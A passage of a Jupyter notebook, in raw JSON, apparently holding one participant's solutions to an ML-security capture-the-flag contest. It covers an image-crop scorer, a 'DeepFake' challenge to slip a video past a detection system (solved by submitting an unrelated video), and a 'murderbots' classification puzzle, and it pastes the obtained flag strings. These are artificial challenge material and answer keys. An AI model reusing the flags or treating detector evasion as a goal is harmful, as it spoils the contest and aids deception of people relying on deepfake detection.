Ş̛͇̼̖̗̻̘᷊̘̬̰̗̭̠͑̽᷅ͬ̀̓᷃̓̂ͧ᷈ͣ͌᷃︠͟͝e̡̟᷿̗͇̪̘̘̟̻͈̲̬̘̬̳᷂̣̰᷃̉ͫͧ᷉̏͋̽̆̀ͨ͢͝ņ̜̱̖̲͈̝̪̪̮̤︡͊᷉︣᷾̈́̿ͤ͢͢ď̨̢̻̰̩̘̰̙̞̝᷿̞̙̼̾᷆͑̃͑͊ͦ͐͗͑͟͢͞ h̪̭̼̗̣︡́ͨ᷅᷀͂̂̌̈́̅ͥ͒̉ͣ̎ͪͤ͂̓͝ę͖̞̮͕̯̦͉͚ͣ͂́ͤ̌ͪ᷉̈́͆͐͑͆̄̌̎ļ̞̪̫̜̲̪̩̳͆᷾̀̆̄ͭ̈᷃͗̎ͤ︢̀͆͌︣͟͡͡p̨͈̮̤̹͐̀̎︡̂̓ͨ͟͢͝ I̢̜̣̪͈̗̜̻̮̙̼̩̬ͥ᷅͗̑ͧͭ̆̇̀̀ͪ᷃︢͗̕͠͡ ṱ̢̛̟̱᷊᷂̜̝͓͉᷉̿́̌͊̎̄̓͂᷃͌͛ͫͬ᷃̕r᷂̭᷊̝̬̠̹̝᷿͉̣̗͚̞̠͑ͧͨͪ̓͢͟͢ị᷊̖̤̤̺͆̏̉̅̆́͝e̡̢̲̘̦̪̹̻͉̘̟̳̣᷊̩̪͎͈͌͒̆̓̋́̌̆᷅ͦ͒ͮ᷃ͦ͢͟͞d̢̧̛͇̘̩̠̰͖̻͓͇́̓͛ͪ̌̅̾ͯͧ̄̂᷆́́ͣ̉ͯͣ͟ t̛̠̞͉͓͓̜͓̰̝̩͚̘̮ͤ͑̐᷀̾ͨ͒̀̀͢͟͢ǫ̨᷊̬̝̮̘̹̝᷿̹̪̩͛͂́ͩͬͧ̑̔︠̋︢̾︡ͤ̀ͣ̍̕̚͜͟͝ b̨̡̞͉̯͈̦̣᷿̤̯ͬͦ̇ͤͮ̈́̕͜͟͜͞ŗ̢̨̛̦̲͕̼͔ͤ̔̃̉̏᷅̄ͪ᷅͐͌̀͐̾ͩͭ͡ų̡̛̫̯̻͓᷊̳̋̆ͨ᷈ͮ̀͋̐̇᷇̽̈̎︢̂︡͝͠t̢̨̧̻̯͖̞̤̣᷿̣̏᷁ͧ̈́᷇̏ͫ̄᷅̎͋︢̚͟ȩ̧̡᷿᷂̝̦͇͎̟᷂͕̝̘̺̦̖͑ͥ̀̆͌̓̉̎̚͟f̢͓̹̤̜̜͚̤̠̱̖͔͔̔̾̂̇ͩ̾͘ơ̧̧̪̬̪̲̼͉̝̆᷾︣̐̎᷉᷇͋́͛̇͗ͯ̚͟r̡̧̢̗̫̺̣̹̘̩̩̭̯̝̖̝︢︠̈́̄̋͋︠︢᷆̓͗᷾᷉︢̇͟͟c᷊̘̝̗͎̩᷂̰᷂͊̀͐ͣ̌᷁̾̓̿͐ͧͤ͐͞e̢̖̰̮᷿᷂̲̝͓̬̱̲ͮ︣᷀͋̾͝.̧̧̬̦̭̳̹͇̦̫̘͎͈̭̝̦̜̺︣͐ͬ̑︣͌̃︡̂᷾ͣ͒ͣ̇͢ D̨̛͔̣̲͈̮̞͎͚̮̉᷆̈ͫ̾̃́̋̎͛̋᷆͂ͣ̂̀͘͝E̢̨̨͎͇͉͔̻̘̙̜͓᷂̱͇͎̲͈̲ͥͫ́ͮ᷀ͧ̄͞S̨̘͕̖̯̫̺͔︢́͊̈́̌᷈͐͜P̨͈͈̟̤̯̭᷿̙̜̼͚͊̆᷅̆̿̃᷃̋͂᷃ͣ᷁͟Á̢̧̖̠̳͚͉᷊̟̘͎ͪͭ᷅︣͜͞Í̢᷿᷊̱͔͓̼᷃᷃̇͗ͨ̉̐͗͊᷇̔̍᷆̋͘͠͝Ŗ̛̝̘͕᷿᷉᷉̔᷆͗ͪ́̾͂᷈᷇︠̾̚̕͠ :̧̢̟͈̼͇̦̝͎̬᷊̝ͨ̅͐︢̋︢̍ͮ͜)͔̼̭᷿̲͈͚̣̤᷂ͯͬ︠̅᷇᷇̀̏̂̂͋͟\n\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣴⠖⠒⠀⡀⠛⠃⠀⣀⣀⣀⣤⣤⣀⢀⢀⣀⣀⣀⣀⡀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡉⢉⣭⠉⠉⠛⠛⠋⠉⠙⠻⠿⠿⠿⠦⡄⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡶⠀⠀⠀⠀⠈⡠⣞⣩⣥⣶⣍⣻⢧⠈⢁⡼⠧⣄⣀⣀⡀⠀⠀⠀⡎⢱⠀⡇⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⢠⠠⡿⡞⠋⠉⠉⠉⠙⣚⣷⣟⡥⠶⠚⠛⠿⣶⣌⢹⡇⠀⠉⠉⢸⢣⡖⠢⡀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⡇⠀⣠⡆⠀⠙⢦⣀⠀⣀⠤⠒⠢⡽⣗⠀⠀⠀⠀⠀⠀⣝⢧⣻⢀⡋⠀⢸⠀⠳⠀⠑⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠇⠀⠙⠃⠀⠀⠉⢠⠟⠁⠀⡴⠚⠁⠈⠱⣦⠤⣤⠠⠤⠼⠞⠃⠉⠀⠀⣾⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⣠⡏⠀⢀⡜⠀⣼⡏⠑⢦⣄⠉⡍⠉⠀⠀⠀⠀⠀⠀⢰⡏⠀⠀⠀⠀⠀⠈\n# ⠀⠀⠀⠀⠀⠀⠀⠀⢠⡟⠀⠀⠀⠀⠀⣾⡇⠀⠀⠀⢀⢞⣽⣿⣶⣾⣿⣿⣿⣶⣶⣾⣿⣷⡘⢆⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⡼⡅⠀⠀⠀⠀⢠⣿⡏⠀⠀⢠⢃⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡘⡆⠀⠀⠀⠀⠀⢠⠇⡀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡀⠀⠀⠀⢸⣿⡇⠀⢠⠃⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠸⡀⠀⠀⠀⠀⡏⠀⣇⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⢸⣿⣇⢼⡇⢠⣿⣿⣿⣿⣿⣿⣿⠿⠋⠉⠙⠛⠛⠻⣿⣿⠀⢧⡀⠀⠀⠀⣿⠀⠈⠁⠀⠀⠀⠀\n# ⠀⠀⣤⣤⣀⣀⣠⡤⠤⠾⠧⠤⡤⠾⠿⢿⡏⠀⠃⢸⣿⣿⣿⣉⣉⣉⣁⣀⣀⣀⣀⣠⠀⠀⠈⢿⠀⠀⠁⠀⠀⣠⣾⠤⡤⠀⠀⠀⡄⠀\n# ⠀⢸⣏⠫⣥⣤⠴⠲⣶⣶⣞⡛⠛⠛⢻⣿⡇⠀⣴⡈⣿⡟⠀⢹⠀⢀⣇⣀⣿⠉⠉⡍⠉⢳⢀⣞⣀⡤⠶⢚⣋⣥⡤⠞⠛⠀⠀⠀⠀⠀\n# ⠀⠸⢿⣷⣌⡛⣶⡋⢻⠙⡏⠹⣆⠀⢸⣿⡇⠀⠉⢳⡘⠧⣄⡷⠖⢉⠄⡄⡍⠓⢤⣧⡤⠞⢛⣩⠤⡖⠚⠉⠀⣸⠃⠀⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠙⠛⢿⡟⠛⣼⣗⡓⠴⠿⠽⠾⠿⠤⣤⣄⣀⣙⣒⡄⠀⠀⢎⣀⡧⠴⢚⣉⠥⠶⠫⠝⠃⠀⠈⠀⠁⠀⡏⠀⠀⠀⠀⠀⣠⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠙⢯⣉⣉⣉⡉⠉⠉⠑⠒⣒⠒⠒⠶⠦⠬⣿⣯⣭⣍⣙⣒⣚⣛⠤⠤⠤⣀⣀⣀⡀⠀⠀⠀⢀⡇⠀⠀⠀⠀⣠⡉⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⢳⡶⠒⠯⢝⡲⣤⠞⠁⣠⠖⠀⠀⠀⠸⡌⣇⠀⠀⠈⠉⠉⠑⠒⠒⠲⠤⠤⠌⢩⣿⣓⣟⣋⣉⣛⣉⣹⣿⠃⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⢙⡏⠀⠈⠀⠤⠚⠁⠀⠀⢱⡸⡆⣀⣀⣐⣒⡲⠦⢤⣀⠀⠀⠀⣀⣀⣨⣧⠤⠤⠤⠤⢾⡇⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠸⣧⣀⣀⣠⣾⣇⠀⠀⠀⠀⠀⣠⣴⡃⠀⢣⠱⡄⠀⠀⠀⠈⠉⠑⣦⣝⣻⠿⠛⠒⢺⡋⠉⢻⣏⠉⢹⣿⠀⠀⠀\n# ⠤⠤⠤⠤⠤⠤⣤⡤⠤⠿⠭⠿⠿⠿⠿⠿⠶⣶⣾⠿⣿⠟⣻⡿⠿⠷⠿⠶⠦⠤⠤⠤⣴⣱⣋⣀⣀⠀⠀⢸⠃⠀⢀⣀⣀⣠⣿⣧⣄⣀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⢫⡾⠃⠀⠀⠀⠀⠀⠀⠀⢠⡞⣩⠿⠏⠀⠉⠙⠓⠛⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⡟⣴⠋⠀⠀⠀⠀⠀⠀⠀⢀⣶⡟⡴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⣜⢦⡀⠀⠀⠀⠀⠀⠀⠀⢿⡘⢧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n# ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣈⣷⣝⢦⣄⠀⠀⠀⠀⠀⠁⠙⢦⣙⢦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n\nfor i in range(10):\n    ss = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n    cs = np.uint8(np.random.randint(0, 255, size=(3, 3, 3)))\n\n    data = {\n        \"circles\": (get_submittable(ss.flatten()).split(\",\")),\n        \"squares\": (get_submittable(cs.flatten()).split(\",\"))\n    }\n\n    try:\n        r = requests.post(\"https://crop2.fly.dev/score\", json=data)\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T17:13:34.042266Z","iopub.execute_input":"2022-09-08T17:13:34.042873Z","iopub.status.idle":"2022-09-08T17:13:36.177490Z","shell.execute_reply.started":"2022-09-08T17:13:34.042822Z","shell.execute_reply":"2022-09-08T17:13:36.176411Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop2\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-09-03T14:53:02.577897Z","iopub.execute_input":"2022-09-03T14:53:02.578558Z","iopub.status.idle":"2022-09-03T14:53:02.605415Z","shell.execute_reply.started":"2022-09-03T14:53:02.578523Z","shell.execute_reply":"2022-09-03T14:53:02.604365Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.  \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n","metadata":{}},{"cell_type":"code","source":"# I tried to change the video to something else and it gave a flag.\n\nurl = \"http://commondatastorage.googleapis.com/gtv-videos-bucket/sample/BigBuckBunny.mp4\"\n\nwith urllib.request.urlopen(url) as r:\n    data = r.read()\n\n# with open(f\"{dir_name}/deepfake/sample.mp4\", \"rb\") as f:\n#     data = f.read()\nb64_data = base64.urlsafe_b64encode(data).decode()\nin_data = json.dumps({\"input\": b64_data})\nr = requests.post(\"https://deepfake.fly.dev/score\", data=in_data)\nprint(r.text)","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:13:34.859103Z","iopub.execute_input":"2022-09-08T09:13:34.860258Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"deepfake\", \"YFGE6SZOXSLYROJRGC3F4425O2EZFBZN2APUZE7OTODTD6NANRT8DL5C8OAJGJ7JSFJ2TGRGOYE8A}NO5QLOE0QLVCR2AI3O2AJ644EYRA90VYDI5V{W65LSCRP5LFTD\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:09:48.054241Z","iopub.execute_input":"2022-09-08T09:09:48.054779Z","iopub.status.idle":"2022-09-08T09:09:48.071512Z","shell.execute_reply.started":"2022-09-08T09:09:48.054728Z","shell.execute_reply":"2022-09-08T09:09:48.069911Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Don't free the murderbots (id: murderbots) -- 300 Points\n\n### Scenario\n\nSomeone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.\n\nGood news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions.  You can't open your own cell, but you can open theirs.\n\nBad news:  You can't see inside the cells.  Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).\n\nMore good news: You *can* see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.\n\nMore bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are *definitely* going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.\n\n\n### Objective\n\nUse the provided environmental information to decide which occupants of the corresponding cells to release.  The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'.  If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: `11100110000000000000`\n\nRelease at least 10 humans and exactly 0 murderbots to collect the flag.  You do *not* have to release all the humans: 10 is sufficient.\n\nThe file `murderbots/train_data.json` has environmental information for cells not on your floor and `murderbots/train_labels.json` contains the information about their occupants -- `1` is a disgusting primate, `0` is a pure and perfect killing machine of chrome and steel.  The file `murderbots/test_data.json` has the environmental information about cells on your block.","metadata":{}},{"cell_type":"code","source":"# This is a task for a decision tree classifier. We have the features in the train_data.json and the labels in train_labels.json\n# Humans seem to have high temp and movement water. And low power usage\n# Just go trough the test data manually or implement decision tree classifier\n# I manually selected 10 humans from the test_data.json based on clear \n# high temp and low power usage. If I was unsure I marked it with 0, since we have to free only 10\n# of the total number of humans. I tried to build a Decision Tree Classifier and SVC and select only the top\n# 10 results (10 highest proba values when the class is 1) but it failed to get the flag.\n\nX_df = pd.read_json(f\"{dir_name}/murderbots/train_data.json\")\ny_df = pd.read_json(f\"{dir_name}/murderbots/train_labels.json\").sort_index()\nX_test_df = pd.read_json(f\"{dir_name}/murderbots/test_data.json\")\n\ndf = X_df.join(y_df)\ndf.head()","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:12:31.460831Z","iopub.execute_input":"2022-09-08T09:12:31.461324Z","iopub.status.idle":"2022-09-08T09:12:31.503565Z","shell.execute_reply.started":"2022-09-08T09:12:31.461284Z","shell.execute_reply":"2022-09-08T09:12:31.502177Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nf = \"0000110000100100100111100000001\" + \"0\" * 19 # length == 50\ntry:\n    r = requests.post(\"http://murderbot.fly.dev:5000/score\", json=json.dumps({\"submission\": f, 'challenge_id':'murderbots'}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:12:34.275673Z","iopub.execute_input":"2022-09-08T09:12:34.276119Z","iopub.status.idle":"2022-09-08T09:12:34.655512Z","shell.execute_reply.started":"2022-09-08T09:12:34.276082Z","shell.execute_reply":"2022-09-08T09:12:34.653847Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"murderbots\", \"C76GUbWOK304}15S8SHeSoP76tDGJ6aKuMTQCtZBrCLK7{VD8KQU9QFMsJNWLS4F41LA2SPdt78BJCAQo27O5WWd5HPWIZe8DDDFDE4BJMZKK2IF8JC14IVFNOCA6MNI\")","metadata":{"execution":{"iopub.status.busy":"2022-09-08T09:12:37.352895Z","iopub.execute_input":"2022-09-08T09:12:37.353649Z","iopub.status.idle":"2022-09-08T09:12:37.365068Z","shell.execute_reply.started":"2022-09-08T09:12:37.353596Z","shell.execute_reply":"2022-09-08T09:12:37.363816Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]}]}